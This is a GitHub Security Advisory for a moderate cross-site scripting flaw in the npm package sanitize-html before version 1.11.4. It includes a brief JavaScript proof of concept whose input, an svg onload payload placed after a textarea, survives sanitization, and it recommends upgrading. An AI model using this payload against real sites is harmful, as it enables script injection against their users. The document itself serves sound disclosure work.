GHSA-xc6g-ggrc-qq4r
GitHub Security Advisory
Cross-Site Scripting in sanitize-html
✓ GitHub Reviewed
MODERATE
Has CVE
Advisory Details
Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.
## Proof of Concept
```js
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});
console.log(clean);
// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
```
## Recommendation
Update to version 1.11.4 or later.
Affected Packages
npm
sanitize-html
Affected versions:
0
(fixed in 1.11.4)
Related CVEs
Key Information
5.0
/10
Dataset
Last updated: August 30, 2025 6:32 AM
Data from GitHub Advisory Database. This information is provided for research and educational purposes.